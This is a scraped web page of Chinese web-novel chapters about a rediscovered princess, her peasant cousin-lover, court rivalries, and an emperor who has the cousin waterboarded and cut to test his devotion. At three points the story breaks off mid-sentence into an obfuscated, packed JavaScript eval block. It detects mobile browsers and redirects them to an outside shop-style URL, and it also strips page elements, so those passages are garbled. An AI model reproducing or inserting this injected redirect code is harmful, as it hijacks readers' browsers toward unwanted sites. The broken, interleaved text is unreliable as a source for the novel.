这两人看起来已经练了有一段时间了。 “表哥,你们这是在干什么?” 杨力行一下放松了,是山照。他看了眼陈於白,而后面对着山照:“殿下,我在跟陈队长请教武艺。” 山照轻轻哦了一声,她虽然看不懂,但也看出陈於白是占了上风的。这也正常,山照现在知道他们都是世家子弟,有些武艺在身上很是稀松平常。不过,表哥什么时候跟缇灵卫的人关系这么好了? “从前县城的武馆师傅总说表哥是个学武的苗子呢,只是学费太贵了,倒是可惜了。没想到表哥居然还有继续学习的机会,谢谢陈队长指点了。” 陈於白自然不敢受,他低头行礼:“不算指点,只是臣跟朋友切磋罢了。” “殿下与杨公子有事相商,臣便退下了。”陈於白是不愿意沾上山照这一摊子事情的,只是他没想到公主居然出来找杨力行,也是有些意外,自然不想多留。 山照也没留他,只目送他离开,这才跟杨力行进了屋。 杨力行进了屋才注意到山照随身的侍女,这会才觉得自己汗湿衣裳的样子有些不体面,他不好意思的笑笑:“殿下,你坐会,我换个衣服就出来。” “哎呀你还在出汗,瞎折腾什么。” 山照转头就叫灵曲出去一下,灵曲自然不肯:“殿下,你答应过的……” “就一会,你们就在门口,我能干嘛呀?”山照耍无赖,反正晚上舅舅就回来了,到时候他不许,婢女们才是没人给她带路。 灵曲无法,只能眼睁睁看着山照进了杨力行的内室。 才一进去,山照立刻扑了上去,投入表哥的怀抱。杨力行先是自然的接住,又皱眉小声说:“表妹,我身上有汗,别熏着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨力行笨拙的给她擦泪,粗糙的手指摩挲在山照脸上,痒酥酥的。她被逗的又有些想笑:“不说这些了,表哥你要好好的,我会想你的。我想写信给你,你要好好学认字,到时候回信给我。” 杨力行除了点头也做不出来别的,他确实不会细腻的表达,在旁人看来是有些木讷。有时候他讨厌自己的木讷,有时候也很庆幸自己的木讷,也许山照就是喜欢他这样吧。 他不懂山照喜欢他什么,他曾经以为是因为姨母的原因,可是现在她不再是姨母的女儿了,但她还是没有放弃他。 可山照怎样都好。她善良、聪明、温暖、美丽,没有一处不好。她也的确配得上一个高贵的出身,若是能选,他也希望她做公主。 他想着自己会努力,但是也悲观的想,若是有一天表妹喜欢上一个更好的别人,他会退让的。 只是现在,山照还是要他,他就不要让。 16. 第 16 章 玄武大街。 玉首牛车开道,两侧缇灵卫护卫,其后三辆牛车缓缓前行。 沿途的百姓不知这是怎样一行人,只是自发的避让到道路两侧,在角落处议论纷纷。 山照坐在第二辆牛车上,她梳着极为隆重的高耸云鬓,发间用一整套的红宝石头面点缀,上身是明黄的帔巾配着碧城色花草纹衫子,下身是水红色的白蝶纹长裙,端得是富贵逼人又秀丽端庄。 赵仪对这副打扮很是满意,为此还赏赐了灵曲。 山照虽然觉得美丽,但又很不习惯,也觉得不是很舒服。即便是在车中,因着这身过于正式也只能端坐着,怕发髻歪了、衣裳皱了。 只是她这幅打扮,后车还拉着赵仪给她准备的一应饰品器具,她不由得散漫想着:这感觉倒不像是回家,反而像是嫁人。 而赵仪正像一个好舅舅一般,生怕婆家人看不起她,特地给她准备丰厚的嫁妆,她闷声一笑,觉得这个联想颇为可乐。 而一旁的灵曲也没有忘记她的职责,她见缝插针的都要给山照进行常识科普:“殿下,牛车与马车的不同之处可感觉出来了吗?” 山照倒是没有注意外观这些,只不过这会牛车已经行了一刻,她却并未感觉到不适:“倒是要舒适许多,只是速度也慢。若是马车这会可能已经进门了。” 灵曲认同的点头:“殿下说的都对。京中贵人城内出行多是用牛车,便是因为牛车更为宽敞舒适,且牛车慢移,不急不缓的模样,也被认为是颇有气度。” 山照只觉得他们是闲得慌,不过她这些日子也渐渐了解到为什么富贵人家喜好折腾一些有的没的。实在是太无聊了,人一旦脱离掉生存的需要,每日做什么都无所谓的时候,就开始为了玩耍发愁。 只山照还没有到那个阶段,她想多多学习,学礼仪也好、学典故也罢,都是她曾经渴求而不能接触的东西,所以她格外珍惜。 牛车驶进巍峨宫门,宫门守卫行礼目送他们一行离开,沿途所见太监宫女尽都避让行礼,不是一般的礼教森严。 山照回头望了眼那朱红宫门,她很分明的感受到自己从现在开始又踏入了新世界,一个阶级分明的复杂的新世界。 行到一处侧门,牛车缓缓停下。灵曲扶着山照:“殿下,这里便是车道尽头,再往内是不允许乘车骑马的。” “不过,宫中定然已备好肩舆轿撵。” 山照下了车,却有些疑惑:“那车内的物件怎么办?” 灵曲微微一笑:“殿下不必担心,自然会有人来搬走的。” “这样多的东西,不用车全靠人力吗?”山照知道人肩挑手扛自然也能运走,只是觉得辛苦。 灵曲却没多想,甚至面上还有些骄傲之色:“这算什么?殿下不知,前朝皇帝出巡,连宫妃带下仆、器物吃穿,行车可达百辆,车内物件可都是奴等这样的人上下搬运的。” 山照也只得内心暗叹一声劳民伤财,便岔过这个话题。 她坐上四人抬的肩舆,尽量克制住自己感受到的不习惯。她也不知道自己什么时候才能真正的成为一个‘主子’,习惯不去同情奴仆们的处境,但她在努力适应。 一列十几人就这样从侧门一路被抬到了皇帝处理政事的地方——勤政殿。 勤政殿很是庄严,立柱雕龙,斗拱凌天。 山照一站在殿前,心脏便砰砰直跳,她捏紧拳头,深呼吸了几次才在太监的传唤声中进去,灵曲则紧紧跟在她身后。 屋内什么模样山照都无暇打量,她只大概看到一袭明黄-色身影,便唤醒了这些时日的礼仪记忆,深跪下去:“儿臣……请父皇安。” 昭明帝还不来不及看清她的脸,这失而复得的女儿便紧张得在离自己五丈远的地方跪下了。 子拜父、臣拜君,行跪拜大礼倒也没错,只这礼行得实在是太远了。 他忍不住轻笑出声,山照不知所以,但未听到叫起也没动。 她只听见有踱步声越来越近,她咬住嘴唇,脑子里疯狂思考着她要说什么,她需要感动吗?还是委屈?她要怎么表现得好一些? 山照还没来得及想明白,昭明帝就拉起了她,那双大手很稳,山照感觉自己像地里长着的一根葱或是一株草,就那么轻轻一扯就被连根拔起。 昭明帝掌军多年,虽身上有个秀才的功名,却从来也不是单纯的读书人,实则是个文武双全的人杰,扶起山照自然是游刃有余。 山照第一眼见他,就觉得熟悉,好似自己曾见过,可却记不得什么时候见过,但她心中的畏惧确实的随着那似有若无的熟悉感减轻许多。 “山照,山照……”昭明帝第一句话却不是询问或安抚,而是兀自呢-喃着山照的名字,他咀嚼着这个名字,像是消化着什么难得的情绪。 “你还未出世之时,有一日赵氏送我出门,我们见旭日东升将远处山头照得明晃晃一片,真是好明亮的气象,便觉得给未出世的孩儿取这个名字很是合适。” 昭明帝眼神带着回忆之色,他叹道:“只可惜,世事如闻风里风,终究易散。” 山照不知这话该怎么接。便是想跟皇帝一起回忆,她也确实对生母没有一点印象,如舅舅所言,佳人早逝,她确实也未被母亲抚育过一日。 她开口想问,问些曾经的事情,但还未出声就被昭明帝打断了。 “过几日,宫中会准备中秋宴,届时你见见弟弟妹妹们。”昭明帝看着山照,眼神落点却不在她身上:“今日去拜见一下皇后就行,好歹她是中宫。” “好了,我还要政事要忙,你自去吧。” 话说到这个份上,山照只能应是:“儿臣告退。” 山照假想过昭明帝见到她的许多反应,想过平淡,想过惊喜,却没想到是这样的,她忍不住感受到一阵失落。 他没有说过一句她走失的事情,没有提到自己失职,没有问问她过得好不好,好似这完全是不值一提的事情。 罢了,山照再次登上肩舆之时心情已经平复许多。她早就学会了不去强求,世间六亲缘浅之人,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看向山照,替她侄儿道歉:“倒是不巧,正是冲撞了公主。” 侍女连忙提点江览陌,低声道:“这是今日才刚回宫的大公主,五公子还不行礼?” 江览陌忙不迭行了个单膝跪礼,他家是后族,见宫中贵人也不必都行大礼。 “臣见过大公主,实在是冒犯了。” 山照心里嘀咕,面上却没有显露出来,而是好脾气笑笑,顺着话头接下去:“倒也是缘分,我刚回宫便见到了江公子这样的少年英才。公子不必多礼,这事实在也算不得什么,礼物便罢了。” 她看向皇后,希望皇后能够接下这个梯子。 但江皇后俨然一幅毫不徇私的做派:“公主仁慈,臣下却不能如此失礼。” “咏哥儿,下次进宫可不许空着手进来!” 山照不耐,却也不好强硬拒绝,只心里打起了十二分的警惕。 这事,很古怪。 17. 第 17 章 因着山照进宫后三日便是中秋,皇后思虑之后并未单独为山照举办什么欢迎宴,只是在节宴上正式介绍了她。 “今日是中秋节庆,宫中亦有喜事。”皇后站起身,走向山照,她伸出一只手拉住山照的手,山照便顺着那力道站了起来。 “这便是陛下的大公主。” 山照对着众人的方向行礼:“山照,见过诸位母妃、见过弟弟妹妹。” 她行完礼,抬起头时却看见宫妃们都避了避只受了半礼,而皇子公主那边纷纷回礼。 其实宫中女眷早已提前知道此事,皇后还专门令贴身宫女到各宫说过‘见面礼’一事,免得真有那消息不灵通之辈,什么也没带便出席了。 所以这场面就如同皇后预想的一样,客气和睦,这便已经够跟陛下交差了。 “各位妹妹听见大公主叫的一声母妃了吗?不给些见面礼可说不过去。”江皇后开了个玩笑,便朝颜宁点了个头,颜宁端着早已准备好用来装礼物的朱盘出来。 皇后随意拔了自己头上的九尾金凤钗,放进主盘中。 山照略看了眼,那只凤凰的眼睛是用豆子大小的红宝石镶嵌的,尾羽上更是有数不清的米粒大小的红宝石,十分雍容华贵。 收了皇后的礼之后,颜宁并未向下走去,反而是宫妃们的贴身侍女一个个上前来,各各手捧奇珍异宝,宛如朝贡。 山照在这等场面下也不知道该说什么,终究是有些尴尬和无措。 正在此时,落座在山照对面的青葱少女站起身来,她对皇后随意行了个礼:“母后,儿臣也为大姐姐准备了礼物!” 二公主脸上带笑,皇后却觉得有些不对,熙阳的性子哪里是这样的?虽是皇后安排她准备礼物,但却并没有叫她在宴席上张扬。 皇后皱眉,看着李熙阳的目光带上严厉。 李熙阳躲开那目光,甚至没有给皇后说话的机会,就自顾自的让侍女捧着盖红布的朱盘走近山照。 “大姐姐,快揭开看看,熙阳可是很用心准备了的!”她笑容灿烂,倒真是很期盼山照给出一点反应。 “山照啊,不如先收着吧,等之后大皇子这些弟弟妹妹都准备好礼物,届时一起慢慢拆开,不是更有趣?”皇后虽然觉得这礼物不太妙,可一点没展露出来,反而是尽力遮掩着。 山照微微一笑,她自然能感受到气氛有些不对劲,不过只是一件礼物罢了,她没什么好紧张的。 她掀开了红布,露出了里面的庐山真面目。 “啊?”一声女孩的惊讶叫声突兀响起,而后又迅速掐灭了。 山照只见一年轻妇人正捂着年幼-女儿的嘴,与她对视之时,歉意一笑。 那朱盘上赫然放着一只栩栩如生、张扬起舞的——草编凤凰!便是这编织手艺再精湛,也无法改变这凤凰是由低贱廉价的棕榈叶编成的,这礼物实在充满嘲讽的意味。 山照站在最前方,将底下人的反应一览无余。除了那年幼的不知道是几公主的女孩惊呼出声,剩下的皇子公主们多半的脸色也不对劲,宫妃甚至有那胆子小的煞白了脸色。 便是山照再不懂宫中礼仪,也看出来了,这不是一份好礼物。 草编凤凰,这是在讥讽她的出身吗?虽然一朝高高在上,却是从山野长大的,骨子里都是野草味。 山照一瞬间想明白了,却连怒意都没有升起来,她已经过了会被幼稚的小手段激怒的年纪了。 况且……她回头望向皇后,皇后的神情终于无法保持淡然,她有些尴尬的对山照解释:“真是让大公主见笑了,熙阳还是小孩脾气,想必是觉得草编格外新鲜有趣才呈上来。只是有些不太体面了……” 江皇后狠狠剜了一眼二公主:“熙阳,这种小玩意怎么能作为礼物呢?还不跟大姐姐道歉,日后再补一个更好的来!” “娘娘不必责怪妹妹,这是件极好的礼物。这李家的天下不也是从草芥之地打下来的吗?不过,依我看,这份礼物合该呈给父皇的。” 李熙阳没听出这话里透出的意思,只觉山照蠢笨。巴掌都打到脸上了,她竟然还没发觉。 这种轻蔑不自觉从脸上流露出来,看得江皇后心里更为恼火,这孩子真是不知轻重。若说李山照是泥腿子,这宫里最大的泥腿子就是她父皇! “陛下驾到!”领路太监声音极清亮,一瞬间便将众人的注意力拉转。 众人纷纷行礼。 “好了,都起来吧。” 昭明帝一眼便瞧见了那草编凤凰,他面上有些疲惫,不知是不是刚处理完政事才过来。随意问道:“这是什么?” 皇后开口:“这……” 却被更年轻的一道声音抢了过去,山照看着皇帝:“回父皇,是二妹妹送儿臣的礼物。” 昭明帝的脸上看不出喜怒,他语调没变,又问二公主:“是吗?熙阳送的啊……” 李熙阳还没觉察出什么,况且她自以为父皇比起陌生的姐姐来说一定会偏向她的。 “是呀父皇,是不是很精巧?”她颇有一些洋洋得意。 “朕却不知道熙阳喜欢草编,这样吧……”他看向皇后,那目光却让皇后感觉浑身有些发毛:“编些草钗、草簪让她带着玩吧!” 皇后脸色一变,求情般回绝:“陛下,熙阳也大了,戴草编的东西实在是不得体啊……” 若是让熙阳就这样挨了罚,岂不是要叫其余人看了笑话,熙阳是个最要强的孩子了,她定是接受不了。 “不得体?”昭明帝等的就是这句话,他轻哼一声:“皇后可得好好教孩子,什么叫以己度人,什么叫以其人之道,还治其人之身。” 李熙阳这会才听出来,父皇这是要罚她戴草簪,她慌乱得跪下来:“父皇,我不要,那是什么东西也配叫我戴!” 江皇后也想像宁修仪一般捂住自己女儿的嘴了,只可惜现在为时已晚。她深吸一口气,也跪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651788|188238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来:“臣妾没有管教好熙阳,叫她如此失礼,甘愿领罚。” 皇子公主、宫妃、奴婢、太监,有谁敢在皇后下跪的时候站着呢,齐刷刷的也跪了下去,丝竹声也戛然而止,本来和和乐乐的节庆气氛被这突如其来的意外彻底打碎。 “好了,也不是多大的事情。熙阳的脾气也该管管,都起来坐下吧。” 即便皇帝并未多说什么,甚至没有生气的模样,众人却都已经失了兴致,皇帝找了几个话头都没将气氛捧热,就失了耐心,寻了个还有政事没有处理的理由提前离席。 皇帝一走,这中秋节宴没到两刻钟便也散了。 灵曲跟山照回檀溪轩的路上实在是没忍住,很是真情实感的抱怨起来:“二公主这也太不知礼数了,从前她欺负欺负庶出的妹妹便也罢了。怎么能……” 身后两个小宫女也应声:“二公主最会看不起人了!” 山照本来不觉得有什么,便是有些小委屈,也因着皇帝及时处理而被安抚了。但灵曲这样护着她,她还是觉得很暖心:“不生气了,父皇不是罚了她吗?这下丢脸的可不是我了。” 灵曲也赞同的点点头:“还好陛下向来赏罚分明。” “不过,殿下日后可得小心些,这次可算是把二公主得罪狠了。” 山照自然知道这点,不过她并不害怕。一则,她跟宫里这些人都还不熟呢,她不太在乎陌生人对她的看法,便是不喜欢她又怎样了?她也不喜欢她。 二则,山照十六岁了,她注定不会在宫里待很久,所以也不必担心仇人多了出门就难受。 待她们回到檀溪轩,山照忙唤灵曲给她卸了钗环:“灵曲快来,哎哟,真是给我头皮坠痛了。” 一两金子打的金钗可也是实实在在的一两,更别说是节庆大妆,山照是满头珠翠,她看这拆下来的零零碎碎的七八只配饰,甚至怀疑这一堆能有半斤。 宫女半春拿着一封信件进来了:“殿下,这是宫门下钥前国公爷送来的。” 檀溪轩只有一位国公爷,就是承恩公赵仪。 半夏拿着牛角梳子一下一下为山照通着头,山照就这样拿着信件看了起来,她嘴角悄悄勾起来,而后兴奋的跟灵曲分享:“舅舅说给我买了一匹雪白的马,叫我出宫去看!” 灵曲眼前也是一亮:“奴婢差点忘了秋狝的事情,这必定是国公爷为了秋狝准备的。许多王公大臣也要参加的女儿,这可是殿下在外人面前第一次亮相,一定要赶紧备起来!” 山照疑惑;“秋狝?” 灵曲解释:“其实就是陛下带着娘娘们还有皇子公主,一些皇亲一些重臣还有他们的子女,一起去白露山行宫狩猎。” “据说这是从前前前朝就延续下来的旧俗,也是难得的内宫女眷可以出门的活动呢!” 山照还从未狩猎过呢,但她更感兴趣的是:“居然可以出宫吗?” 那她是不是可以叫舅舅把表哥带上? 22-30 第22章 第 22 章 同床共枕 静谧。 沉默。 刀, 高悬在头顶,迟迟没有落下。 山照心跳如鼓,呼吸急促。她在这种紧迫的氛围中, 控制不住的打着寒颤,她用力眨巴着双眼, 努力维持平静的表象。 “起来吧。” 昭明帝的声音, 没有一丝怒意, 似乎山照只是来正常的请安问好。 山照没敢站起身, 而是犹豫的抬头。她现在有些懊悔,后悔自己过于冲动, 她该跟舅舅商量一下的, 冒失闯了进来,实在是不讨好。 可箭在弦上,不得不发,如今再想这些也没用了。 昭明帝的表情也很平静, 只是操劳了一天眼下有些疲惫之色,他看着山照的动作,有些无奈:“起身,坐过来说吧。” 山照仔细看了他几眼,这才往他面前走。 他这样温和平静,倒显得山照这样一惊一乍的格外失态。 可山照不会认为他是个温和的人,当一个人喜怒哀乐能够掌控旁人的富贵贫穷、生存死亡的时候,他就不可能是个能被简单归纳的人。 “孟浴恩让你不满意?” 山照还是那个答案:“我不喜欢他。” “喜欢?”仿佛是听到什么好笑的话, 皇帝笑起来, 他脸上甚至带着些对孩童的宠溺纵容。 “喜欢是最不重要的事情。” 山照摇头:“或许对父皇你们这样的人来说,这不重要。可对我来说,这很重要!” “父皇, 什么家族门第、累世官宦,不都是锦上添花的东西吗?”她试图用说服赵仪的那套说辞说服昭明帝:“儿臣愿意舍弃这些。我不需要十分的富贵,只是想求真心一人。” “你懂了一些道理……”昭明帝没有直接否定她的说法:“但还懂的太粗浅。” “小孩,没有见过残酷的事实,总是天真浪漫的。山照,你是个女孩,本可以不见到这些东西。” 昭明帝站起身,缓缓踱步,走至窗前。 他看着那一轮红日半沉入黑暗,在日与夜的分割之时,他将教会他的女儿一件重要的事情。 残酷且黑暗的现实。 “啪啪。”蓦地,他举起双手轻拍了两下,发出清脆的两声。 殿门缓缓、缓缓打开了,两名太监压着一个人进来,那人垂着头。 山照看过去,越看那高大身影越熟悉,她猛然意识到什么,连忙奔到那人面前,捧起了他的脸。 “表哥……” 杨力行闭着眼睛,没有给出一点反应。 “父皇,你把表哥怎么了?”要不是山照摸到他的脸庞还是温热的,几乎要以为杨力行已经死了。 山照一瞬间就察觉到这件事情跟昭明帝逃不了关系,他是什么时候知道的?他为什么要带来表哥?他……他要干什么…… 山照脑中闪现出赵仪曾经说过的:“千万不要告诉陛下,否则杨力行性命难保。” 她声音颤-抖:“不……父皇,你不可以杀他!” “他现在没事,一点迷-药罢了。”昭明帝回头,夕阳洒在他的脸上,映亮了他脸上岁月风霜留下的纹路:“但很快就不一定了……” 山照没有想到父皇居然早就知道这件事,没有想到他居然趁着自己等待的这个时间就把表哥带来了。 她很慌乱。 “你有什么可怕的呢?”皇帝甚至还走过来拍了拍山照的肩头,如果不是这个场合,或许山照还会觉得有些温馨。 可她只能随着这轻轻一拍颤-抖,她只剩哀求:“父皇,放过他……” 山照没意识到她哭了。 但昭明帝看到了。 他勾起食指拭过她的泪痕:“山照,你是我的孩子,我将包容你比包容别人更多。可是……你得懂事。” 他说完,吩咐太监们:“带去掖庭,寻个干净地方。” 山照无法眼睁睁看着他们带走表哥,试图上前阻拦,可昭明帝伸手扼住了她的手腕。 山照挣脱不了,她回头瞪视昭明帝:“放手!你到底要干什么!” 不称呼您了,也不叫父皇了。 皇帝并不为这样的冒犯感到生气,但他很清楚的知道他对山照并不拥有无限制的包容。 作为一个父亲,他有责任清楚的告诉她,什么样的事情是不被包容的。 这世上既有被妄杀的平民,也有被赐死的王公,更有被推翻的皇帝。昭明帝本人,不就是推翻前朝才得来的皇位吗? 生死之间,才有众生平等。但人和人的命,分量是不一样的。 昭明帝可以直接杀了杨力行,但他没有这样做。杨力行的命虽贱,可却容易打碎玉瓶。虽然这玉瓶也不是他心中十分珍爱的,但……轻易还是不要碎了的好。 “你不是跟那个农夫两情相悦吗?”昭明帝的眼神淡漠极了:“爱啊,喜欢啊,这些东西太虚幻了。” “李山照。” 他叫山照的全名,让山照挣扎的动作都瞬间停住了。 “我教你,怎么考验男人的真心。” “只需要挖出来称称几斤几两就知道了……” 山照愕然。 ** 皇帝是个疯子。 山照无比确定这一点。 她现在连鱼死网破的心都淡了,因为她觉得昭明帝不会在乎她去不去死。 哪个在乎女儿的父亲会带她去看他是如何折磨人的呢?那个人甚至还是女儿的有情之人…… 她眼睁睁看着表哥受着水刑,行刑太监把表哥绑在板凳上,束缚住他的四肢,而后用浸了水的薄纸,一层又一层的覆盖上去。 杨力行的嘴巴大张着却无法呼吸,胸膛剧烈起伏,却攫取不到足够的氧气,渐渐虚弱。 每当他坚持不住的时候,太监就戳破盖在他脸上的湿纸,让他喘一口气,然后问他:“爱吗?” 他是问,杨力行这样还爱吗? 山照哭闹都没用,她只能无力的跌坐在地上,很想闭上眼睛,逃开这噩梦般的一幕。 但昭明帝在她第一次闭上眼睛的时候就命令太监们,割开了杨力行的一寸皮肤,鲜血渗进衣物,渐渐从鲜红变成乌紫的血垢。 闭一次眼睛,便割一道。 她不敢闭眼。 杨力行没有放弃,可山照自己都要坚持不住了,她被内疚和害怕几乎击溃,她好想说,她不要了,她要终止! 可是表哥这样都还在坚持,她张不开口。 杨力行开口说爱,太监便拿来新的湿纸一层一层又盖了上去。 循环往复,周而复始,无穷无尽。 山照不明白为什么他们只是相爱却要被这样非人的手段考验,她苍白着脸看向昭明帝:“你让我更爱他了。” 哈哈哈哈…… 山照苦笑出声:“你可以杀掉我们,但你无法控制我的心我的思想我的感情……” 她想说昭明帝这些手段很失败,可是,她看着表哥的惨状,心痛无以复加。 他们,也不是胜利者。 杨力行坚持的时间越来越短了,一开始他能坚持十几息,后面越来越短越来越短,直到一张纸刚放下去就要被戳破。 他快坚持不住了。 山照从没有这样清晰的认知到,生命悄然逝去是怎样的过程。她能感觉到,如果她再不做点什么,表哥还剩下的这点生机就如同微弱的烛火要被风吹灭了。 “父皇,你到底想要我们怎么样?” 山照最终还是低头了,这种漫长的折磨比直接给她来一刀还残酷。她不怕死,可人若是有生的机会,几人会去求死呢? 何况她的命不仅仅是她的命,还有表哥的命,她现在彻底了解到了皇权的残酷。 他们是不讲道理的。 昭明帝闭着眼养神,他从进来开始,一直就是这样淡淡的神情。 此时夜已经深了,点再多的烛火,也无法同白昼相比。 山照甚至不愿意抬头去看他的脸,而是看着他脚下随着烛火摇曳的影子。 “连我也不得不承认,你找的这个,算个男人。” 事实上,昭明帝的解决办法很简单,如果这个男人坚持不住的话,山照不需要别人劝也能看清楚所谓爱情是多么薄弱。 他没有预计到,这个农夫居然真的坚持住了。 天下男子,能熬过水刑,百者无其一。 为父母兄弟、为宏图大业或都有之,为一女人……简直世间奇闻。 还是说这个男人做着当驸马,一步登天的美梦? 昭明帝起了一些兴趣,他有些好奇,是什么让山照和这个男人如此坚定。难不成真是爱情? “真是感人……”他摆摆手叫太监停止动作:“把他扶起来,喂点水食。” 而后走到山照身边:“如果朕说不再干涉你和他的事情,但前提是你得接受赐婚,你怎么说?” 山照上一秒还在高兴昭明帝终于放过了表哥,而后听见这句话,思绪转了几圈才反应过来:“你是说,我还是要嫁人?” “不,不不不,这不行。” 山照立马本能摇头,但随即想起昭明帝做的这些事情,又害怕起来。 如果她不答应,是不是他又要折磨表哥? 她反问自己:是不是相爱就一定要成婚,是不是相爱就可以让表哥承受这样的折磨,是不是相爱就比什么都重要? 她虽然嘴硬没有告诉昭明帝的真实想法,但她知道他成功击溃了她的精神防线,她现在不再那么坚定的相信感情了。 杨力行才刚缓口气,听见昭明帝这样问山照,立刻挣扎着跪下,用沙哑的声音哀求:“陛下,草民可以再也不跟殿下见面。可是,求陛下不要让殿下嫁给不喜欢的人……” 他浑身无力,跪都跪不直,反而更像趴着的狗。 太监们虽然不敢当着山照的面嘲笑他,却也都是满脸戏谑。 山照的心好痛。 表哥越好,她就越痛,她开始责怪自己。 为什么她会是公主?如果她还是村女李山照就好了,她和表哥会顺顺利利成婚,白头偕老、儿孙满堂。 可是这一切现在都毁了…… 表哥的脊梁都被压断了,他还要可怜巴巴的哀求这个施暴者,对她好点。 天底下哪有这样的道理? “朕不能有一个嫁给平民的女儿。所以,你不能嫁给他。哪怕你死了,你也不可能跟他埋到一处。” 山照神情更加凄凄,如果连死亡都不能让他改变想法,还有什么能? “但是,”昭明帝话锋一转:“若你们真心相爱,又何必执着于名分呢?” “你,你是说……”山照不敢相信她听见了什么:昭明帝叫他们无媒苟合?! 既然他不在意她的贞洁,为何又不愿意高抬贵手成全她呢?山照不懂,完全不懂。 可完全绝望的境地,出现了一线曙光,她不得不考虑这样的合理性。 “父皇,是不是只要我接受赐婚就好。我……不必喜欢驸马是吗?” 昭明帝看着山照,黑色的瞳孔印着烛火的幽光,使得他的表情神秘莫测:“记住,屋里的事情怎样都好,别在外面闹出事情来丢了皇家颜面。” 他,默许了。 山照一瞬间失去了所有力气,她没有挣扎的劲头了:“好。那我嫁……” 山照知道自己是妥协,可她没有谈判的资格,昭明帝一直拥有对他们生杀予夺的权力。 她除了输,就只能玉石俱焚。 “父皇,我可以带表哥走了吗?” 昭明帝不语,只是默默离开了。 山照也没有兴趣继续待在掖庭这个吓人的地方,但她没有那么大的力气扶起杨力行,只好叫太监们将表哥搬到她的寝宫。 灵曲非常抗拒杨力行出现在檀溪轩。 “殿下,您的居所怎么能够收留外男呢?” 山照却已经被打破了这一层思想禁锢,皇帝是不是以为她接受了嫁给别的男人,就会放弃表哥? 是不是觉得,如果我接受了别的婚约,还跟其他男人有纠葛便是红杏出墙,是会被万人唾骂的荡-妇? 不,山照或许曾经在乎。但现在,她只认为,她同意的婚约才是有效的。这样被强逼着同意的婚姻,根本不是真正的婚姻。 她不要为这样的婚姻负责。 是,她这样对不起孟浴恩这个即将要成为她丈夫的男人。可是,他们自顾自的决定娶她的时候有问过她的意见吗? 既然他们可以不顾她的意愿执意娶她,既然皇帝可以碾碎她的意志强迫她,她为什么不可以自私一点? 山照不仅让杨力行进了她的寝宫,更让他进了她的卧室。 顶着一众侍女难以置信的眼神,山照只道:“父皇已经认可了。你们要是出去乱说话,不必我来收拾你们……” 她屏退众人,望着熟睡中的杨力行,他的脸色比方才好了许多,胸膛有节奏的起伏。 他终于恢复了些许生气。 山照一步步走近了他,而后就在床边褪-去了自己的衣裳。 她决心要……和他同床共枕。 —— 作者有话说:[求求你了]对不起短短的,作者菌最近太忙了总是加班。(夹子那天11点左右发一章肥肥的) 厚着脸皮继续推俺的预收《谓我心悠》,感兴趣的宝子专栏收藏一下哦。 顺便推一下基友醒冬野的《同时招惹四位情郎》看到文名就应该知道写啥了嘿嘿[狗头叼玫瑰]我感觉你们会喜欢的~ 第23章 第 23 章 气煞人也 山照才刚脱下外袍, 就听见门外有些悉悉索索的声音,想是侍女们被关在门外不知如何是好。 她虽然才放了狠话,却并不是针对她们, 她知道侍女们不过是害怕。主子犯错、下人受罚是宫里的惯例。 “今晚不必人伺-候,你们睡去吧。”她的心情算不得好, 态度便淡淡的。 此话一出, 外头的声响却更大了。她想象了一番几个侍女挤在门口, 不知如何是好, 嘀嘀咕咕的样子,只觉得无奈。 摇摇头, 不再理会外头的人。 她这才想起表哥身上的衣服还没脱呢, 那覆面的湿纸滴着水把他的衣裳浸-透了,不及时脱下来可要得风寒的。 山照连忙解开他的衣带,脱了外衣,伸手往里一摸, 里衣都湿透了。 便将他脱得光溜溜的,只留了中裤,塞进被子里。 山照坐在床边,借着烛光,看了好一会。 杨力行闭着眼睛,他睡着了,很沉。 他的胸口随着呼吸一起一伏,暖黄的烛光下, 他的皮肤像泛着一层光晕。 她第一次, 这么仔细看他的身体。 看他黑而硬的头发,看他挺而直的鼻尖,看他肩颈的轮廓, 看他胸-前的起伏…… 表哥,好端端的呢。 她脸上这才露出劫后余生的庆幸。 吹灭蜡烛,她爬上-床。她小心的避开杨力行,自己睡在里间,闭上眼,想好好睡一觉。 可今天发生的一切却不断在脑中循环。 残酷、冰冷、哭喊、折磨…… 想到那些痛苦的画面,她不仅睡不着,反而感觉自己的头开始疼了…… 山照本能的靠向杨力行,用他的体温慰藉自己。 可是,还不够。 她摸索着他的身体,两只玉臂越缠越紧。杨力行睡着,却仿佛知道是她一样,翻了个身侧身抱着她。 山照便埋在他的胸口用力吸吮,一刻钟后才安然睡去。 ** 昭明帝回了寝宫,总管太监福荣自然随身伺-候。 他将今日发生的一切都看在眼中,却自始至终未曾多说一句。只是这会给昭明帝泡着脚,他才仿佛不经意般提起:“陛下,那公子既然配不上殿下,为何不叫他去建功立业呢?或许就知难而退了……” 建功立业,死在这上头的人可太多了。便是公主恼怒,事情做得干净利落些,她也挑不着毛病。 一将功成万骨枯,昭明帝便是从刀山火海里走出来的,哪会不懂这样的道理。 昭明帝刚想开口,喉间忽然一阵痒意,他控制不住得咳嗽起来,感觉内腑又在隐隐作痛。 待稍微好一点之后,皇帝叹气:“我或许等不得了……” 福荣连忙:“呸呸呸,陛下是要千千万万年的人,怎么能说这些丧气话呢。” 